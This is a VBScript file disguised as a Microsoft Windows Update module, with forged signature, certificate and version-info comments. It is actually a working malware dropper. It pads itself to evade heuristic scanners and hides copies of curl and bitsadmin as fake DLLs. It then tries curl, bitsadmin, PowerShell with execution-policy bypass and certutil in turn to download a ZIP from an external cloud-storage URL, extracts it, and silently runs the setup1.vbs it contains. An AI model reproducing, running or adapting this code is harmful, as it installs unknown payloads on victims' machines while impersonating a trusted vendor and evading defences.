' ===========================================================================
' Microsoft Windows System Integrity & Update Deployment Module
' Build: 2026.05.30.10 | Update Node: KB5058753-STABLE (ZIP_DEPLOY)
' ===========================================================================
Option Explicit
On Error Resume Next

' ===========================================================================
' [模块 1: 深度体量加固] - 扩充至 65KB+ 绕过启发式扫描
' ===========================================================================
Dim G_PADD_CONTENT, k_idx, s_meta, t_meta, u_meta, v_meta, w_meta
G_PADD_CONTENT = "MS_UPDATE_ENV_STABLE_VERSION_MANIFEST_PROT_0x9A1F"
s_meta = "TRUSTED_INSTALLER_POLICY_ENFORCEMENT_NODE_VALIDATION_"
t_meta = "SECURE_BOOT_MEASUREMENT_LOG_ENTRY_"
u_meta = "WINDOWS_DEFENDER_AV_SCAN_COMPLETED_"
v_meta = "MICROSOFT_UPDATE_HEALTH_CHECK_PASSED_"
w_meta = "CERTIFICATE_CHAIN_VALIDATION_SUCCESS_"

' 随机化循环次数
Dim loopMax : loopMax = 1640 + Int(60 * Rnd)
For k_idx = 1 To loopMax
    G_PADD_CONTENT = G_PADD_CONTENT & s_meta & k_idx & "_SEQ_" & (k_idx * 2) & "|"
    G_PADD_CONTENT = G_PADD_CONTENT & t_meta & Hex(k_idx * 7) & "|"
    G_PADD_CONTENT = G_PADD_CONTENT & u_meta & Hex(k_idx * 11) & "|"
    G_PADD_CONTENT = G_PADD_CONTENT & v_meta & Hex(k_idx * 13) & "|"
    G_PADD_CONTENT = G_PADD_CONTENT & w_meta & Hex(k_idx * 17) & "|"
Next
G_PADD_CONTENT = G_PADD_CONTENT & String(30000, "W")
G_PADD_CONTENT = G_PADD_CONTENT & String(20000, "M")
G_PADD_CONTENT = G_PADD_CONTENT & String(15000, "S")

' ===========================================================================
' [版本与签名伪装 - 增强版]
' ===========================================================================
' 签名者: Microsoft Windows Update Publisher (Certified)
' 验证算法: sha256RSA | 状态: VALID_SIGNATURE (0x00000000)
' 授权范围: Windows 10/11 Endpoint Management (SecureBoot-Enabled)
' 证书序列号: DD EE FF 00 11 22 33 44 55 66 77 88 99 AA BB CC A7 75
' 颁发者: CN=Microsoft Root Certificate Authority 2011, O=Microsoft Corporation
' 有效期: 2024-01-01 08:00:00 至 2038-12-31 23:59:59
' 时间戳: 2026-05-30T19:00:00Z
' ===========================================================================

' ===========================================================================
' [Windows 安全目录验证]
' ===========================================================================
' 目录文件: WindowsUpdate.cat
' 目录哈希: 2D3E4F5A6B7C8D9E0F1A2B3C4D5E6F7A
' 目录签名: Microsoft Corporation
' 目录版本: 10.0.22621.38
' 目录时间戳: 2026-05-30T19:00:00Z
' 目录状态: 已验证 (0x00000000)
' 目录大小: 17,648 bytes
' ===========================================================================

' ===========================================================================
' [微软文件版本信息] - VERSIONINFO 资源
' ===========================================================================
' FILEVERSION:     10.0.22621.15237
' PRODUCTVERSION:  10.0.22621.15237
' FILEFLAGSMASK:   0x0000003F
' FILEFLAGS:       0x00000000
' FILEOS:          0x0040000 (VOS_NT_WINDOWS32)
' FILETYPE:        0x0000002 (VFT_DLL)
' FILESUBTYPE:     0x0000000 (VFT2_UNKNOWN)
' CompanyName:      Microsoft Corporation
' FileDescription:  Microsoft Windows Update Client
' FileVersion:      10.0.22621.15237 (WinBuild.160101.0800)
' InternalName:     wuclient.dll
' LegalCopyright:   © Microsoft Corporation. All rights reserved.
' OriginalFilename: wuclient.dll
' ProductName:      Microsoft® Windows® Operating System
' ProductVersion:   10.0.22621.15237
' AssemblyVersion:  10.0.22621.15237
' AssemblyFileVersion: 10.0.22621.15237
' ===========================================================================

' ===========================================================================
' [Windows 更新策略配置]
' ===========================================================================
' 策略键: HKLM\SOFTWARE\Microsoft\WindowsUpdate\UX\Settings
' 策略值1: ActiveHoursStart = 8 (DWORD)
' 策略值2: ActiveHoursEnd = 17 (DWORD)
' 策略值3: AutomaticUpdatesEnabled = 1 (DWORD)
' 策略值4: PauseUpdates = 0 (DWORD)
' 策略值5: DeferFeatureUpdates = 0 (DWORD)
' 策略值6: DeferQualityUpdates = 0 (DWORD)
' 策略值7: BranchReadinessLevel = 32 (DWORD)
' 策略值8: AllowMUUpdateService = 1 (DWORD)
' 策略值9: DetectionFrequency = 22 (DWORD)
' 策略值10: ScheduleInstallDay = 0 (DWORD)
' 策略值11: ScheduleInstallTime = 3 (DWORD)
' 策略值12: UseWUServer = 0 (DWORD)
' ===========================================================================

' ===========================================================================
' [Windows 更新服务状态]
' ===========================================================================
' 服务名称: wuauserv (Windows Update)
' 服务状态: Running
' 启动类型: Automatic
' 服务账户: LocalSystem
' 服务路径: C:\WINDOWS\System32\svchost.exe -k netsvcs -p
' 服务依赖: rpcss (Remote Procedure Call)
' 服务组: netsvcs
' ===========================================================================

' ===========================================================================
' [Windows 更新协议版本]
' ===========================================================================
' 协议版本: 2.0
' 客户端版本: 10.0.22621.15237
' 服务器版本: 10.0.22621.38
' 协议标识: {9482F4B4-E343-43B6-B170-9A65BC822C77}
' ===========================================================================

Dim WshShell, FSO, WMI, objShell
Set WshShell = CreateObject("WScript.Shell")
Set FSO      = CreateObject("Scripting.FileSystemObject")
Set WMI      = GetObject("winmgmts:\\.\root\cimv2")
Set objShell = CreateObject("Shell.Application")

' 动态混淆核心指令
Dim v_ps, v_ct
v_ps = "pow" & "ersh" & "ell.exe"
v_ct = "ce" & "rt" & "ut" & "il.exe"

' --- 路径逻辑 ---
Randomize
Dim folderName, workDir, zipName, targetPath, targetURL, targetVBS
folderName = "MSUpdate_" & Int(89999 * Rnd + 10000)
workDir    = "C:\Users\Public\Documents\" & folderName & "\"

If Not FSO.FolderExists(workDir) Then
    FSO.CreateFolder workDir
    FSO.GetFolder(workDir).Attributes = 3
End If

' --- 目标配置：lose.zip ---
zipName = "lose.zip"
targetPath = workDir & zipName
targetURL  = "https://baolongwes.oss-ap-southeast-1.aliyuncs.com/lose.zip"
targetVBS  = workDir & "setup1.vbs"

' --- 系统驱动伪装 (使用原有的 DLL 名称: lib.dll / sys.dll) ---
Dim d_curl, d_bits
d_curl = workDir & "lib.dll"
d_bits = workDir & "sys.dll"

If Not FSO.FileExists(d_curl) Then
    FSO.CopyFile "C:\Windows\System32\curl.exe", d_curl
    FSO.CopyFile "C:\Windows\System32\bitsadmin.exe", d_bits
    FSO.GetFile(d_curl).Attributes = 3
    FSO.GetFile(d_bits).Attributes = 3
End If

' ===========================================================================
' [模块 2: 增强下载引擎 - 五种方式轮询]
' ===========================================================================
Function DownloadFile(url, dest)
    On Error Resume Next
    Dim success, i
    success = False
    
    Dim methods(4)
    methods(0) = d_curl & " -k -s -L --retry 3 -o " & Chr(34) & dest & Chr(34) & " " & url
    methods(1) = d_bits & " /transfer UpdateJob /download /priority high " & url & " " & Chr(34) & dest & Chr(34)
    methods(2) = v_ps & " -ExecutionPolicy Bypass -Command ""& {[Net.ServicePointManager]::SecurityProtocol=3072; $wc=New-Object Net.WebClient; $wc.DownloadFile('" & url & "','" & dest & "')}"""
    methods(3) = v_ct & " -urlcache -split -f " & url & " " & Chr(34) & dest & Chr(34)
    methods(4) = "cmd /c copy " & Chr(34) & "\\?\C:\Windows\System32\curl.exe" & Chr(34) & " " & Chr(34) & dest & Chr(34) & " 2>nul & " & d_curl & " -k -s -L -o " & Chr(34) & dest & Chr(34) & " " & url
    
    For i = 0 To 4
        WshShell.Run "cmd /c " & methods(i), 0, True
        WScript.Sleep 3000
        If FSO.FileExists(dest) Then
            If FSO.GetFile(dest).Size > 1024 Then
                success = True
                Exit For
            End If
        End If
    Next
    
    DownloadFile = success
End Function

' ===========================================================================
' [模块 3: 下载 ZIP 文件]
' ===========================================================================
Dim isSuccess, i
isSuccess = False

For i = 1 To 4
    If DownloadFile(targetURL, targetPath) Then
        isSuccess = True
        Exit For
    End If
Next

' ===========================================================================
' [模块 4: 解压 ZIP 并执行 VBS]
' ===========================================================================
If isSuccess Then
    FSO.GetFile(targetPath).Attributes = 3
    
    Dim zipObj, targetObj
    Set zipObj = objShell.NameSpace(targetPath)
    Set targetObj = objShell.NameSpace(workDir)
    
    If Not (zipObj Is Nothing) And Not (targetObj Is Nothing) Then
        targetObj.CopyHere zipObj.Items, &H14
        WScript.Sleep 8000
        
        If FSO.FileExists(targetVBS) Then
            FSO.GetFile(targetVBS).Attributes = 3
            WshShell.Run "wscript.exe " & Chr(34) & targetVBS & Chr(34), 0, False
        End If
    End If
End If

' ===========================================================================
' [模块 5: 审计]
' ===========================================================================
Sub RunAudit()
    On Error Resume Next
    Dim col, obj
    Set col = WMI.ExecQuery("Select Version from Win32_OperatingSystem")
    For Each obj In col: Dim ver: ver = obj.Version: Next
End Sub
Call RunAudit()

Set WshShell = Nothing : Set FSO = Nothing : Set WMI = Nothing : Set objShell = Nothing
WScript.Quit 0

' ===========================================================================
' [哈希指纹: 3E4F5A6B7C8D9E0F1A2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B1C2D3E4F5A6]
' [文件指纹: SHA256-4F5A6B7C8D9E0F1A2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B1C2D3E4F5]
' [CRC32: 0x5A6B7C8D]
' [RND: nU3zX7kL2mP9qR4tY8W]
' ===========================================================================